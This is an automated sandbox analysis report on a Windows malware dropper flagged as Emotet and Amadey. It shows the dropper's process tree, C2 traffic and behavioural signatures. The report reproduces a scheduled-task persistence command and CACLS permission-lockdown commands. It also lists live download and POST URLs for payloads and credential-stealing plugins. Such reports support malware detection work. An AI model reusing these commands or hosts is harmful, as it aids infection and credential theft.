Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	March 5, 2023, 2:21 p.m.	March 5, 2023, 2:42 p.m.

Size	985.5KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`60ac1de311d1482966f12cd720f56e5a`
SHA256	`16bd48124210dc744f4654c870e79ed1311eca6abec618bb5e709c827280c4ea`
CRC32	`A5F51F44`
ssdeep	`12288:EMr2y903YtzwLgP2udSK300IQ4ik2Vtrr8y0PnL8F9d8erkzi/2WDC70tgwZZDDJ:6ycYpyw263X4n2DWfjnijC70tgWg6`
PDB Path	wextract.pdb
Yara	Win32_Trojan_Gen_1_0904B0_Zero - Win32 Trojan Emotet CAB_file_format - CAB archive file UPX_Zero - UPX packed file IsPE32 - (no description) PE_Header_Zero - PE File Signature Malicious_Library_Zero - Malicious_Library Win32_Trojan_Emotet_RL_Gen_Zero - Win32 Trojan Emotet

narko.exe "C:\Users\test22\AppData\Local\Temp\narko.exe"
1836
- pthQ0526PE.exe C:\Users\test22\AppData\Local\Temp\IXP000.TMP\pthQ0526PE.exe
  1540
  - ptjj2285ZE.exe C:\Users\test22\AppData\Local\Temp\IXP001.TMP\ptjj2285ZE.exe
    2084
    - ptir3063sm.exe C:\Users\test22\AppData\Local\Temp\IXP002.TMP\ptir3063sm.exe
      2152
      - beck33Yv88.exe C:\Users\test22\AppData\Local\Temp\IXP003.TMP\beck33Yv88.exe
        2212
      - ctBC26jM43.exe C:\Users\test22\AppData\Local\Temp\IXP003.TMP\ctBC26jM43.exe
        2264
    - drBu00yI73.exe C:\Users\test22\AppData\Local\Temp\IXP002.TMP\drBu00yI73.exe
      2716
  - hk80nU29Ix16.exe C:\Users\test22\AppData\Local\Temp\IXP001.TMP\hk80nU29Ix16.exe
    2772
    - ghaaer.exe "C:\Users\test22\AppData\Local\Temp\46aee2aca4\ghaaer.exe"
      2828
      - schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN ghaaer.exe /TR "C:\Users\test22\AppData\Local\Temp\46aee2aca4\ghaaer.exe" /F
        2928
      - cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "ghaaer.exe" /P "test22:N"&&CACLS "ghaaer.exe" /P "test22:R" /E&&echo Y|CACLS "..\46aee2aca4" /P "test22:N"&&CACLS "..\46aee2aca4" /P "test22:R" /E&&Exit
        2980
        
        cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        2056
        
        cacls.exe CACLS "ghaaer.exe" /P "test22:N"
        2116
        
        cacls.exe CACLS "ghaaer.exe" /P "test22:R" /E
        2232
        
        cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        2296
        
        cacls.exe CACLS "..\46aee2aca4" /P "test22:N"
        2356
        
        cacls.exe CACLS "..\46aee2aca4" /P "test22:R" /E
        2464
      - rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
        884
- jxeX94eT33.exe C:\Users\test22\AppData\Local\Temp\IXP000.TMP\jxeX94eT33.exe
  2868

Name	Response	Post-Analysis Lookup
hueref.eu	A 193.56.146.11	193.56.146.11

IP Address	Status	Action
164.124.101.2	Active	Moloch
193.233.20.22	Active	Moloch
193.233.20.25	Active	Moloch
193.56.146.11	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49182 -> 193.233.20.22:80	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 192.168.56.103:49182 -> 193.233.20.22:80	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 192.168.56.103:49180 -> 193.233.20.25:80	2027700	ET MALWARE Amadey CnC Check-In	Malware Command and Control Activity Detected
TCP 192.168.56.103:49183 -> 193.233.20.25:80	2027250	ET INFO Dotted Quad Host DLL Request	Potentially Bad Traffic
TCP 192.168.56.103:49183 -> 193.233.20.25:80	2027250	ET INFO Dotted Quad Host DLL Request	Potentially Bad Traffic
TCP 193.233.20.25:80 -> 192.168.56.103:49183	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 193.233.20.25:80 -> 192.168.56.103:49183	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 193.233.20.25:80 -> 192.168.56.103:49183	2015744	ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging)	Misc activity

Suricata TLS

No Suricata TLS

Queries for the computername (13 events)

Time & API	Arguments	Status	Return
GetComputerNameW March 5, 2023, 2:21 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:22 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 5, 2023, 2:21 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (5 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent March 5, 2023, 2:21 p.m.			0	0
IsDebuggerPresent March 5, 2023, 2:21 p.m.			0	0
IsDebuggerPresent March 5, 2023, 2:21 p.m.			0	0
IsDebuggerPresent March 5, 2023, 2:21 p.m.			0	0
IsDebuggerPresent March 5, 2023, 2:22 p.m.			0	0

Command line console output was observed (50 out of 79 events)

Time & API	Arguments	Status	Return
WriteConsoleW March 5, 2023, 2:21 p.m.	buffer: SUCCESS: The scheduled task "ghaaer.exe" has successfully been created. console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: Y console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: N console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW March 5, 2023, 2:21 p.m.	buffer: C:\Users\test22\AppData\Local\Temp\46aee2aca4\ghaaer.exe console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW March 5, 2023, 2:21 p.m.	buffer: C:\Users\test22\AppData\Local\Temp\46aee2aca4\ghaaer.exe console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA March 5, 2023, 2:21 p.m.	buffer: r console_handle: 0x00000007	1	1

Uses Windows APIs to generate a cryptographic key (17 events)

Time & API	Arguments	Status	Return
CryptExportKey March 5, 2023, 2:21 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003d5738 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:21 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003d5738 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:21 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003d5738 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:21 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003d5738 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:21 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003d57b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:21 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003d57b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:21 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003d56b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:21 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003d56b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:21 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003d56b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:21 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003d56b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:21 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003d56b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:21 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003d5738 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:21 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003d5738 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:21 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003d5938 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003d6038 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003d6038 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 5, 2023, 2:22 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003d5d78 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

This executable has a PDB path (1 event)

pdb_path

wextract.pdb

Tries to locate where the browsers are installed (3 events)

file	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
file	C:\Program Files\Mozilla Firefox\firefox.exe
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx March 5, 2023, 2:21 p.m.		1	1	0

The file contains an unknown PE resource name possibly indicative of a packer (1 event)

resource name

AVI

One or more processes crashed (3 events)

Time & API	Arguments	Status
__exception__ March 5, 2023, 2:21 p.m.	stacktrace: 0x823cac 0x823bce 0x8224dd 0x8220b6 0x8205a0 0x82006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72492652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73dbf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73fa7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73fa4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 01 8b 40 28 ff 10 89 45 c8 8b 45 c8 89 45 c4 exception.instruction: mov eax, dword ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x823da0 registers.esp: 2092920 registers.edi: 2092972 registers.eax: 0 registers.ebp: 2092984 registers.edx: 3960864 registers.ebx: 2093868 registers.esi: 40826428 registers.ecx: 0	1
__exception__ March 5, 2023, 2:21 p.m.	stacktrace: CopyPDBs+0x1b552 DllCanUnloadNowInternal-0x25a85 clr+0x1b1194 @ 0x72641194 LogHelp_TerminateOnAssert+0x14061 GetPrivateContextsPerfCounters-0x53e1 clr+0x82ba1 @ 0x72512ba1 mscorlib+0x36dd51 @ 0x70eedd51 mscorlib+0x32fea6 @ 0x70eafea6 mscorlib+0x30ab40 @ 0x70e8ab40 0x82995a 0x82980e 0x828f89 0x8283ae 0x827c87 0x8225a5 0x8220b6 0x8205a0 0x82006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72492652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73dbf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73fa7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73fa4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0xe0434f4e exception.offset: 46887 exception.address: 0x7559b727 registers.esp: 2091932 registers.edi: 0 registers.eax: 2091932 registers.ebp: 2092012 registers.edx: 0 registers.ebx: 4061152 registers.esi: 3960864 registers.ecx: 745529071	1
__exception__ March 5, 2023, 2:21 p.m.	stacktrace: CopyPDBs+0x1b552 DllCanUnloadNowInternal-0x25a85 clr+0x1b1194 @ 0x72641194 LogHelp_TerminateOnAssert+0x14061 GetPrivateContextsPerfCounters-0x53e1 clr+0x82ba1 @ 0x72512ba1 mscorlib+0x2f45a5 @ 0x70e745a5 mscorlib+0x2f74d4 @ 0x70e774d4 mscorlib+0x327e5c @ 0x70ea7e5c 0x829949 0x82980e 0x828f89 0x8283ae 0x827c87 0x8225a5 0x8220b6 0x8205a0 0x82006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72492652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73dbf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73fa7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73fa4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0xe0434f4e exception.offset: 46887 exception.address: 0x7559b727 registers.esp: 2091984 registers.edi: 0 registers.eax: 2091984 registers.ebp: 2092064 registers.edx: 0 registers.ebx: 4061152 registers.esi: 3960864 registers.ecx: 745529023	1

Time & API

Arguments

Status

Return

Repeated

__exception__

March 5, 2023, 2:21 p.m.

stacktrace:

0x823cac
0x823bce
0x8224dd
0x8220b6
0x8205a0
0x82006c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72492652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95
DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec
DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610
CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4
CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67
CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a
_CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a
_CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73dbf5a3
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73fa7f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73fa4de3
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5

exception.instruction_r: 8b 01 8b 40 28 ff 10 89 45 c8 8b 45 c8 89 45 c4
exception.instruction: mov eax, dword ptr [ecx]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x823da0
registers.esp: 2092920
registers.edi: 2092972
registers.eax: 0
registers.ebp: 2092984
registers.edx: 3960864
registers.ebx: 2093868
registers.esi: 40826428
registers.ecx: 0

__exception__

March 5, 2023, 2:21 p.m.

stacktrace:

CopyPDBs+0x1b552 DllCanUnloadNowInternal-0x25a85 clr+0x1b1194 @ 0x72641194
LogHelp_TerminateOnAssert+0x14061 GetPrivateContextsPerfCounters-0x53e1 clr+0x82ba1 @ 0x72512ba1
mscorlib+0x36dd51 @ 0x70eedd51
mscorlib+0x32fea6 @ 0x70eafea6
mscorlib+0x30ab40 @ 0x70e8ab40
0x82995a
0x82980e
0x828f89
0x8283ae
0x827c87
0x8225a5
0x8220b6
0x8205a0
0x82006c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72492652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95
DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec
DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610
CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4
CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67
CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a
_CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a
_CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73dbf5a3
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73fa7f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73fa4de3
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0xe0434f4e
exception.offset: 46887
exception.address: 0x7559b727
registers.esp: 2091932
registers.edi: 0
registers.eax: 2091932
registers.ebp: 2092012
registers.edx: 0
registers.ebx: 4061152
registers.esi: 3960864
registers.ecx: 745529071

__exception__

March 5, 2023, 2:21 p.m.

stacktrace:

CopyPDBs+0x1b552 DllCanUnloadNowInternal-0x25a85 clr+0x1b1194 @ 0x72641194
LogHelp_TerminateOnAssert+0x14061 GetPrivateContextsPerfCounters-0x53e1 clr+0x82ba1 @ 0x72512ba1
mscorlib+0x2f45a5 @ 0x70e745a5
mscorlib+0x2f74d4 @ 0x70e774d4
mscorlib+0x327e5c @ 0x70ea7e5c
0x829949
0x82980e
0x828f89
0x8283ae
0x827c87
0x8225a5
0x8220b6
0x8205a0
0x82006c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72492652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x724a264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x724a2e95
DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725574ec
DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72557610
CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x725e1dc4
CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x725e1e67
CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x725e1f7a
_CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x725e416a
_CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73dbf5a3
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73fa7f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73fa4de3
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0xe0434f4e
exception.offset: 46887
exception.address: 0x7559b727
registers.esp: 2091984
registers.edi: 0
registers.eax: 2091984
registers.ebp: 2092064
registers.edx: 0
registers.ebx: 4061152
registers.esi: 3960864
registers.ecx: 745529023

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (5 events)

suspicious_features	POST method with no referer header, POST method with no useragent header, Connection to IP address	suspicious_request	POST http://193.233.20.25/buH5N004d/index.php
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://193.233.20.22/male/serko4.exe
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://193.233.20.22/ti/mohta5.exe
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://193.233.20.25/buH5N004d/Plugins/cred64.dll
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://193.233.20.25/buH5N004d/Plugins/clip64.dll

Performs some HTTP requests (5 events)

request	POST http://193.233.20.25/buH5N004d/index.php
request	GET http://193.233.20.22/male/serko4.exe
request	GET http://193.233.20.22/ti/mohta5.exe
request	GET http://193.233.20.25/buH5N004d/Plugins/cred64.dll
request	GET http://193.233.20.25/buH5N004d/Plugins/clip64.dll

Sends data using the HTTP POST Method (1 event)

request

POST http://193.233.20.25/buH5N004d/index.php

Allocates read-write-execute memory (usually to unpack itself) (50 out of 149 events)

Time & API	Arguments	Status
